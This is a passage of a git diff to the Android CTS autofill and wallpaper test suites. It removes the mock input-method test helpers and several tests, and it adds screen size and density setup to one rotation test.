-    @CddTest(requirement="7.7.2/C-2-1")
     public void testUsbAccessory() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) &&
                 !mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK) &&
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index 0f49281..38d8cad 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -47,8 +47,6 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.CddTest;
-
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
@@ -103,52 +101,6 @@
     }
 
     @Test
-    public void setBitmapTest_1x1Pixel() {
-        ensureCleanState();
-
-        Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
-        Canvas canvas = new Canvas(tmpWallpaper);
-        canvas.drawColor(Color.RED);
-
-        try {
-            int which = WallpaperManager.FLAG_SYSTEM;
-            int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
-            mWallpaperManager.suggestDesiredDimensions(tmpWallpaper.getWidth(),
-                    tmpWallpaper.getHeight());
-            mWallpaperManager.setBitmap(tmpWallpaper);
-            int newWallpaperId = mWallpaperManager.getWallpaperId(which);
-            Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        } finally {
-            tmpWallpaper.recycle();
-        }
-    }
-
-    @Test
-    public void setBitmapTest_1x1Pixel_FullscreenDesired() {
-        ensureCleanState();
-
-        Bitmap tmpWallpaper = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
-        Canvas canvas = new Canvas(tmpWallpaper);
-        canvas.drawColor(Color.RED);
-
-        try {
-            int which = WallpaperManager.FLAG_SYSTEM;
-            int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
-            final Point displaySize = getScreenSize();
-            mWallpaperManager.suggestDesiredDimensions(displaySize.x, displaySize.y);
-            mWallpaperManager.setBitmap(tmpWallpaper);
-            int newWallpaperId = mWallpaperManager.getWallpaperId(which);
-            Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        } finally {
-            tmpWallpaper.recycle();
-        }
-    }
-
-    @Test
     public void setResourceTest() {
         try {
             int which = WallpaperManager.FLAG_SYSTEM;
@@ -161,7 +113,6 @@
         }
     }
 
-    @CddTest(requirement="3.2.3.4/C-0-1")
     @Test
     public void wallpaperChangedBroadcastTest() {
         Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index c2bb5b03..bcfc2c8 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -140,24 +140,6 @@
                 <action android:name="android.service.autofill.AutofillService" />
             </intent-filter>
         </service>
-
-        <!-- Mock IME -->
-        <service
-            android:name="com.android.cts.mockime.MockIme"
-            android:label="Mock IME"
-            android:permission="android.permission.BIND_INPUT_METHOD">
-            <intent-filter>
-                <action android:name="android.view.InputMethod" />
-            </intent-filter>
-            <meta-data
-                android:name="android.view.im"
-                android:resource="@xml/method" />
-        </service>
-        <provider
-            android:authorities="com.android.cts.mockime.provider"
-            android:name="com.android.cts.mockime.SettingsProvider">
-        </provider>
-
     </application>
 
     <instrumentation
diff --git a/tests/autofillservice/res/xml/method.xml b/tests/autofillservice/res/xml/method.xml
deleted file mode 100644
index 7f8b13a..0000000
--- a/tests/autofillservice/res/xml/method.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  Copyright (C) 2019 The Android Open Source Project
-
-  Licensed under the Apache License, Version 2.0 (the "License");
-  you may not use this file except in compliance with the License.
-  You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-  Unless required by applicable law or agreed to in writing, software
-  distributed under the License is distributed on an "AS IS" BASIS,
-  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  See the License for the specific language governing permissions and
-  limitations under the License.
--->
-
-<input-method xmlns:android="http://schemas.android.com/apk/res/android">
-</input-method>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 8ea2c14..7eb8bcf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -35,7 +35,6 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.cts.mockime.MockImeSessionRule;
 
 import org.junit.After;
 import org.junit.Before;
@@ -77,10 +76,6 @@
         }
     };
 
-    @ClassRule
-    public static final MockImeSessionRule sMockImeSessionRule =
-            new MockImeSessionRule(/* ignoreInitException= */ true);
-
     @Rule
     public final RetryRule mRetryRule = new RetryRule(2);
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
index 02b2e13..f5a4f89 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -71,13 +71,28 @@
     public final void testTapLink_changeOrientationThenTapBack() throws Exception {
         assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
 
+        final int width = mUiBot.getDevice().getDisplayWidth();
+        final int heigth = mUiBot.getDevice().getDisplayHeight();
+        final int min = Math.min(width, heigth);
+
+        assumeTrue("Screen size is too small (" + width + "x" + heigth + ")", min >= 500);
+        Log.d(TAG, "testTapLink_changeOrientationThenTapBack(): screen size is "
+                + width + "x" + heigth);
+
         mUiBot.setScreenOrientation(UiBot.PORTRAIT);
         try {
+            runShellCommand("wm size 1080x1920");
+            runShellCommand("wm density 320");
             saveUiRestoredAfterTappingLinkTest(
                     PostSaveLinkTappedAction.ROTATE_THEN_TAP_BACK_BUTTON);
         } finally {
             mUiBot.setScreenOrientation(UiBot.PORTRAIT);
-            cleanUpAfterScreenOrientationIsBackToPortrait();
+            try {
+                cleanUpAfterScreenOrientationIsBackToPortrait();
+            } finally {
+                runShellCommand("wm density reset");
+                runShellCommand("wm size reset");
+            }
         }
     }
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
index 87b0ff7..81b3fa2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
@@ -19,21 +19,9 @@
 import static android.autofillservice.cts.Helper.ID_USERNAME;
 import static android.autofillservice.cts.common.ShellHelper.runShellCommand;
 
-import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
-
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.content.IntentSender;
-import android.os.Process;
 import android.platform.test.annotations.AppModeFull;
-import android.view.KeyEvent;
-import android.view.View;
-
-import com.android.cts.mockime.ImeCommand;
-import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.MockImeSession;
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
@@ -43,8 +31,6 @@
 
 public class DatasetFilteringTest extends AbstractLoginActivityTestCase {
 
-    private static final long MOCK_IME_TIMEOUT_MS = 5_000;
-
     private static String sMaxDatasets;
 
     @BeforeClass
@@ -122,7 +108,7 @@
     }
 
     @Test
-    public void testFilter_ejectingEvents() throws Exception {
+    public void testFilter_usingKeyboard() throws Exception {
         final String aa = "Two A's";
         final String ab = "A and B";
         final String b = "Only B";
@@ -179,74 +165,6 @@
 
     @Test
     @AppModeFull // testFilter() is enough to test ephemeral apps support
-    public void testFilter_usingKeyboard() throws Exception {
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(createPresentation(aa))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(createPresentation(ab))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "b")
-                        .setPresentation(createPresentation(b))
-                        .build())
-                .build());
-
-        final ImeEventStream stream = mockImeSession.openEventStream();
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Wait until the MockIme gets bound to the TestActivity.
-        expectBindInput(stream, Process.myPid(), MOCK_IME_TIMEOUT_MS);
-        expectEvent(stream, editorMatcher("onStartInput", mActivity.getUsername().getId()),
-                MOCK_IME_TIMEOUT_MS);
-
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // Only two datasets start with 'a'
-        final ImeCommand cmd1 = mockImeSession.callCommitText("a", 1);
-        expectCommand(stream, cmd1, MOCK_IME_TIMEOUT_MS);
-        mUiBot.assertDatasets(aa, ab);
-
-        // Only one dataset start with 'aa'
-        final ImeCommand cmd2 = mockImeSession.callCommitText("a", 1);
-        expectCommand(stream, cmd2, MOCK_IME_TIMEOUT_MS);
-        mUiBot.assertDatasets(aa);
-
-        // Only two datasets start with 'a'
-        sendKeyEvents("KEYCODE_DEL"); // TODO: add new method on MockIme for it
-        mUiBot.assertDatasets(aa, ab);
-
-        // With no filter text all datasets should be shown
-        sendKeyEvents("KEYCODE_DEL"); // TODO: add new method on MockIme for it
-        mUiBot.assertDatasets(aa, ab, b);
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final ImeCommand cmd5 = mockImeSession.callCommitText("aaa", 1);
-        expectCommand(stream, cmd5, MOCK_IME_TIMEOUT_MS);
-        callback.assertUiHiddenEvent(mActivity.getUsername());
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    @AppModeFull // testFilter() is enough to test ephemeral apps support
     public void testFilter_nullValuesAlwaysMatched() throws Exception {
         final String aa = "Two A's";
         final String ab = "A and B";
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 3120072..c28909a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -803,20 +803,7 @@
      * Checks if screen orientation can be changed.
      */
     public static boolean isRotationSupported(Context context) {
-        final PackageManager packageManager = context.getPackageManager();
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            Log.v(TAG, "isRotationSupported(): is auto");
-            return false;
-        }
-        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
-            Log.v(TAG, "isRotationSupported(): has leanback feature");
-            return false;
-        }
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_PC)) {
-            Log.v(TAG, "isRotationSupported(): is PC");
-            return false;
-        }
-        return true;
+        return !context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
     }
 
     /**
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 2adb512..3edce2c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -86,10 +86,6 @@
 import android.view.autofill.AutofillManager;
 import android.widget.RemoteViews;
 
-import com.android.cts.mockime.ImeCommand;
-import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.MockImeSession;
-
 import org.junit.Test;
 
 import java.util.concurrent.CountDownLatch;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
index ff955dd..6f6b75a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
@@ -89,7 +89,6 @@
             Log.e(TAG, "could write destroyed marker: " + e);
         }
         super.onDestroy();
-        sInstance = null;
     }
 
     /**
@@ -128,8 +127,4 @@
             sInstance.finish();
         }
     }
-
-    public static boolean hasInstance() {
-        return sInstance != null;
-    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index 18ef5aa..039dc22 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -47,7 +47,6 @@
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
 import android.view.autofill.AutofillValue;
 
 import org.junit.After;
@@ -61,8 +60,6 @@
  */
 @AppModeFull // This test requires android.permission.WRITE_EXTERNAL_STORAGE
 public class SessionLifecycleTest extends AutoFillServiceTestCase {
-    private static final String TAG = "SessionLifecycleTest";
-
     private static final String ID_BUTTON = "button";
     private static final String ID_CANCEL = "cancel";
 
@@ -109,10 +106,6 @@
                 + "-n android.autofillservice.cts/.OutOfProcessLoginActivityFinisherReceiver");
         mUiBot.assertGoneByRelativeId(ID_USERNAME, Timeouts.ACTIVITY_RESURRECTION);
 
-        if (!OutOfProcessLoginActivity.hasInstance()) {
-            Log.v(TAG, "@After: Not waiting for oop activity to be destroyed");
-            return;
-        }
         // Waiting for activity to be destroyed (destroy marker appears)
         eventually("getDestroyedMarker()", () -> {
             return getDestroyedMarker(getContext()).exists();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 1fe998e..90358ab 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -93,6 +93,8 @@
             "autofill_picker_accessibility_title";
     private static final String RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE =
             "autofill_save_accessibility_title";
+    private static final String RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION =
+            "config_forceDefaultOrientation";
 
 
     static final BySelector DATASET_PICKER_SELECTOR = By.res("android", RESOURCE_ID_DATASET_PICKER);
@@ -872,4 +874,18 @@
         final int booleanId = resources.getIdentifier(id, "bool", "android");
         return resources.getBoolean(booleanId);
     }
-}
+
+    /**
+     * Returns {@code true} if display rotation is supported, {@code false} otherwise.
+     */
+    public boolean isScreenRotationSupported() {
+        try {
+            return !getBoolean(RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION);
+        } catch (Resources.NotFoundException e) {
+            Log.d(TAG, "Resource not found: "
+                    + RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION
+                    + ". Assume rotation supported");
+            return true;
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeCommand.java b/tests/autofillservice/src/com/android/cts/mockime/ImeCommand.java
deleted file mode 100644
index ad81eb5..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeCommand.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.Bundle;
-import androidx.annotation.NonNull;
-
-public final class ImeCommand {
-
-    private static final String NAME_KEY = "name";
-    private static final String ID_KEY = "id";
-    private static final String DISPATCH_TO_MAIN_THREAD_KEY = "dispatchToMainThread";
-    private static final String EXTRA_KEY = "extra";
-
-    @NonNull
-    private final String mName;
-    private final long mId;
-    private final boolean mDispatchToMainThread;
-    @NonNull
-    private final Bundle mExtras;
-
-    ImeCommand(@NonNull String name, long id, boolean dispatchToMainThread,
-            @NonNull Bundle extras) {
-        mName = name;
-        mId = id;
-        mDispatchToMainThread = dispatchToMainThread;
-        mExtras = extras;
-    }
-
-    private ImeCommand(@NonNull Bundle bundle) {
-        mName = bundle.getString(NAME_KEY);
-        mId = bundle.getLong(ID_KEY);
-        mDispatchToMainThread = bundle.getBoolean(DISPATCH_TO_MAIN_THREAD_KEY);
-        mExtras = bundle.getParcelable(EXTRA_KEY);
-    }
-
-    static ImeCommand fromBundle(@NonNull Bundle bundle) {
-        return new ImeCommand(bundle);
-    }
-
-    Bundle toBundle() {
-        final Bundle bundle = new Bundle();
-        bundle.putString(NAME_KEY, mName);
-        bundle.putLong(ID_KEY, mId);
-        bundle.putBoolean(DISPATCH_TO_MAIN_THREAD_KEY, mDispatchToMainThread);
-        bundle.putParcelable(EXTRA_KEY, mExtras);
-        return bundle;
-    }
-
-    @NonNull
-    public String getName() {
-        return mName;
-    }
-
-    public long getId() {
-        return mId;
-    }
-
-    public boolean shouldDispatchToMainThread() {
-        return mDispatchToMainThread;
-    }
-
-    @NonNull
-    public Bundle getExtras() {
-        return mExtras;
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeEvent.java b/tests/autofillservice/src/com/android/cts/mockime/ImeEvent.java
deleted file mode 100644
index d4090fb..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeEvent.java
+++ /dev/null
@@ -1,290 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.inputmethodservice.AbstractInputMethodService;
-import android.os.Bundle;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.view.View;
-
-/**
- * An immutable object that stores event happened in the {@link MockIme}.
- */
-public final class ImeEvent {
-
-    private enum ReturnType {
-        Null,
-        KnownUnsupportedType,
-        Boolean,
-    }
-
-    private static ReturnType getReturnTypeFromObject(@Nullable Object object) {
-        if (object == null) {
-            return ReturnType.Null;
-        }
-        if (object instanceof AbstractInputMethodService.AbstractInputMethodImpl) {
-            return ReturnType.KnownUnsupportedType;
-        }
-        if (object instanceof View) {
-            return ReturnType.KnownUnsupportedType;
-        }
-        if (object instanceof Boolean) {
-            return ReturnType.Boolean;
-        }
-        throw new UnsupportedOperationException("Unsupported return type=" + object);
-    }
-
-    ImeEvent(@NonNull String eventName, int nestLevel, @NonNull String threadName, int threadId,
-            boolean isMainThread, long enterTimestamp, long exitTimestamp, long enterWallTime,
-            long exitWallTime, @NonNull ImeState enterState, @Nullable ImeState exitState,
-            @NonNull Bundle arguments, @Nullable Object returnValue) {
-        this(eventName, nestLevel, threadName, threadId, isMainThread, enterTimestamp,
-                exitTimestamp, enterWallTime, exitWallTime, enterState, exitState, arguments,
-                returnValue, getReturnTypeFromObject(returnValue));
-    }
-
-    private ImeEvent(@NonNull String eventName, int nestLevel, @NonNull String threadName,
-            int threadId, boolean isMainThread, long enterTimestamp, long exitTimestamp,
-            long enterWallTime, long exitWallTime, @NonNull ImeState enterState,
-            @Nullable ImeState exitState, @NonNull Bundle arguments, @Nullable Object returnValue,
-            @NonNull ReturnType returnType) {
-        mEventName = eventName;
-        mNestLevel = nestLevel;
-        mThreadName = threadName;
-        mThreadId = threadId;
-        mIsMainThread = isMainThread;
-        mEnterTimestamp = enterTimestamp;
-        mExitTimestamp = exitTimestamp;
-        mEnterWallTime = enterWallTime;
-        mExitWallTime = exitWallTime;
-        mEnterState = enterState;
-        mExitState = exitState;
-        mArguments = arguments;
-        mReturnValue = returnValue;
-        mReturnType = returnType;
-    }
-
-    @NonNull
-    Bundle toBundle() {
-        final Bundle bundle = new Bundle();
-        bundle.putString("mEventName", mEventName);
-        bundle.putInt("mNestLevel", mNestLevel);
-        bundle.putString("mThreadName", mThreadName);
-        bundle.putInt("mThreadId", mThreadId);
-        bundle.putBoolean("mIsMainThread", mIsMainThread);
-        bundle.putLong("mEnterTimestamp", mEnterTimestamp);
-        bundle.putLong("mExitTimestamp", mExitTimestamp);
-        bundle.putLong("mEnterWallTime", mEnterWallTime);
-        bundle.putLong("mExitWallTime", mExitWallTime);
-        bundle.putBundle("mEnterState", mEnterState.toBundle());
-        bundle.putBundle("mExitState", mExitState != null ? mExitState.toBundle() : null);
-        bundle.putBundle("mArguments", mArguments);
-        bundle.putString("mReturnType", mReturnType.name());
-        switch (mReturnType) {
-            case Null:
-            case KnownUnsupportedType:
-                break;
-            case Boolean:
-                bundle.putBoolean("mReturnValue", getReturnBooleanValue());
-                break;
-            default:
-                throw new UnsupportedOperationException("Unsupported type=" + mReturnType);
-        }
-        return bundle;
-    }
-
-    @NonNull
-    static ImeEvent fromBundle(@NonNull Bundle bundle) {
-        final String eventName = bundle.getString("mEventName");
-        final int nestLevel = bundle.getInt("mNestLevel");
-        final String threadName = bundle.getString("mThreadName");
-        final int threadId = bundle.getInt("mThreadId");
-        final boolean isMainThread = bundle.getBoolean("mIsMainThread");
-        final long enterTimestamp = bundle.getLong("mEnterTimestamp");
-        final long exitTimestamp = bundle.getLong("mExitTimestamp");
-        final long enterWallTime = bundle.getLong("mEnterWallTime");
-        final long exitWallTime = bundle.getLong("mExitWallTime");
-        final ImeState enterState = ImeState.fromBundle(bundle.getBundle("mEnterState"));
-        final ImeState exitState = ImeState.fromBundle(bundle.getBundle("mExitState"));
-        final Bundle arguments = bundle.getBundle("mArguments");
-        final Object result;
-        final ReturnType returnType = ReturnType.valueOf(bundle.getString("mReturnType"));
-        switch (returnType) {
-            case Null:
-            case KnownUnsupportedType:
-                result = null;
-                break;
-            case Boolean:
-                result = bundle.getBoolean("mReturnValue");
-                break;
-            default:
-                throw new UnsupportedOperationException("Unsupported type=" + returnType);
-        }
-        return new ImeEvent(eventName, nestLevel, threadName,
-                threadId, isMainThread, enterTimestamp, exitTimestamp, enterWallTime, exitWallTime,
-                enterState, exitState, arguments, result, returnType);
-    }
-
-    /**
-     * Returns a string that represents the type of this event.
-     *
-     * <p>Examples: &quot;onCreate&quot;, &quot;onStartInput&quot;, ...</p>
-     *
-     * <p>TODO: Use enum type or something like that instead of raw String type.</p>
-     * @return A string that represents the type of this event.
-     */
-    @NonNull
-    public String getEventName() {
-        return mEventName;
-    }
-
-    /**
-     * Returns the nest level of this event.
-     *
-     * <p>For instance, when &quot;showSoftInput&quot; internally calls
-     * &quot;onStartInputView&quot;, the event for &quot;onStartInputView&quot; has 1 level higher
-     * nest level than &quot;showSoftInput&quot;.</p>
-     */
-    public int getNestLevel() {
-        return mNestLevel;
-    }
-
-    /**
-     * @return Name of the thread, where the event was consumed.
-     */
-    @NonNull
-    public String getThreadName() {
-        return mThreadName;
-    }
-
-    /**
-     * @return Thread ID (TID) of the thread, where the event was consumed.
-     */
-    public int getThreadId() {
-        return mThreadId;
-    }
-
-    /**
-     * @return {@code true} if the event was being consumed in the main thread.
-     */
-    public boolean isMainThread() {
-        return mIsMainThread;
-    }
-
-    /**
-     * @return Monotonic time measured by {@link android.os.SystemClock#elapsedRealtimeNanos()} when
-     *         the corresponding event handler was called back.
-     */
-    public long getEnterTimestamp() {
-        return mEnterTimestamp;
-    }
-
-    /**
-     * @return Monotonic time measured by {@link android.os.SystemClock#elapsedRealtimeNanos()} when
-     *         the corresponding event handler finished.
-     */
-    public long getExitTimestamp() {
-        return mExitTimestamp;
-    }
-
-    /**
-     * @return Wall-clock time measured by {@link System#currentTimeMillis()} when the corresponding
-     *         event handler was called back.
-     */
-    public long getEnterWallTime() {
-        return mEnterWallTime;
-    }
-
-    /**
-     * @return Wall-clock time measured by {@link System#currentTimeMillis()} when the corresponding
-     *         event handler finished.
-     */
-    public long getExitWallTime() {
-        return mExitWallTime;
-    }
-
-    /**
-     * @return IME state snapshot taken when the corresponding event handler was called back.
-     */
-    @NonNull
-    public ImeState getEnterState() {
-        return mEnterState;
-    }
-
-    /**
-     * @return IME state snapshot taken when the corresponding event handler finished.
-     */
-    @Nullable
-    public ImeState getExitState() {
-        return mExitState;
-    }
-
-    /**
-     * @return {@link Bundle} that stores parameters passed to the corresponding event handler.
-     */
-    @NonNull
-    public Bundle getArguments() {
-        return mArguments;
-    }
-
-    /**
-     * @return result value of this event.
-     * @throws NullPointerException if the return value is {@code null}
-     * @throws ClassCastException if the return value is non-{@code null} object that is different
-     *                            from {@link Boolean}
-     */
-    public boolean getReturnBooleanValue() {
-        if (mReturnType == ReturnType.Null) {
-            throw new NullPointerException();
-        }
-        if (mReturnType != ReturnType.Boolean) {
-            throw new ClassCastException();
-        }
-        return (Boolean) mReturnValue;
-    }
-
-    /**
-     * @return {@code true} if the event is issued when the event starts, not when the event
-     * finishes.
-     */
-    public boolean isEnterEvent() {
-        return mExitState == null;
-    }
-
-    @NonNull
-    private final String mEventName;
-    private final int mNestLevel;
-    @NonNull
-    private final String mThreadName;
-    private final int mThreadId;
-    private final boolean mIsMainThread;
-    private final long mEnterTimestamp;
-    private final long mExitTimestamp;
-    private final long mEnterWallTime;
-    private final long mExitWallTime;
-    @NonNull
-    private final ImeState mEnterState;
-    @Nullable
-    private final ImeState mExitState;
-    @NonNull
-    private final Bundle mArguments;
-    @Nullable
-    private final Object mReturnValue;
-    @NonNull
-    private final ReturnType mReturnType;
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStream.java b/tests/autofillservice/src/com/android/cts/mockime/ImeEventStream.java
deleted file mode 100644
index d866da0..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStream.java
+++ /dev/null
@@ -1,251 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.Bundle;
-import androidx.annotation.IntRange;
-import androidx.annotation.NonNull;
-import android.view.inputmethod.EditorInfo;
-
-import java.time.Instant;
-import java.time.ZoneId;
-import java.time.format.DateTimeFormatter;
-import java.util.Arrays;
-import java.util.Optional;
-import java.util.function.Predicate;
-import java.util.function.Supplier;
-
-/**
- * A utility class that provides basic query operations and wait primitives for a series of
- * {@link ImeEvent} sent from the {@link MockIme}.
- *
- * <p>All public methods are not thread-safe.</p>
- */
-public final class ImeEventStream {
-
-    private static final String LONG_LONG_SPACES = "                                        ";
-
-    private static DateTimeFormatter sSimpleDateTimeFormatter =
-            DateTimeFormatter.ofPattern("MM-dd HH:mm:ss.SSS").withZone(ZoneId.systemDefault());
-
-    @NonNull
-    private final Supplier<ImeEventArray> mEventSupplier;
-    private int mCurrentPosition;
-
-    ImeEventStream(@NonNull Supplier<ImeEventArray> supplier) {
-        this(supplier, 0 /* position */);
-    }
-
-    private ImeEventStream(@NonNull Supplier<ImeEventArray> supplier, int position) {
-        mEventSupplier = supplier;
-        mCurrentPosition = position;
-    }
-
-    /**
-     * Create a copy that starts from the same event position of this stream. Once a copy is created
-     * further event position change on this stream will not affect the copy.
-     *
-     * @return A new copy of this stream
-     */
-    public ImeEventStream copy() {
-        return new ImeEventStream(mEventSupplier, mCurrentPosition);
-    }
-
-    /**
-     * Advances the current event position by skipping events.
-     *
-     * @param length number of events to be skipped
-     * @throws IllegalArgumentException {@code length} is negative
-     */
-    public void skip(@IntRange(from = 0) int length) {
-        if (length < 0) {
-            throw new IllegalArgumentException("length cannot be negative: " + length);
-        }
-        mCurrentPosition += length;
-    }
-
-    /**
-     * Advances the current event position to the next to the last position.
-     */
-    public void skipAll() {
-        mCurrentPosition = mEventSupplier.get().mLength;
-    }
-
-    /**
-     * Find the first event that matches the given condition from the current position.
-     *
-     * <p>If there is such an event, this method returns such an event without moving the current
-     * event position.</p>
-     *
-     * <p>If there is such an event, this method returns {@link Optional#empty()} without moving the
-     * current event position.</p>
-     *
-     * @param condition the event condition to be matched
-     * @return {@link Optional#empty()} if there is no such an event. Otherwise the matched event is
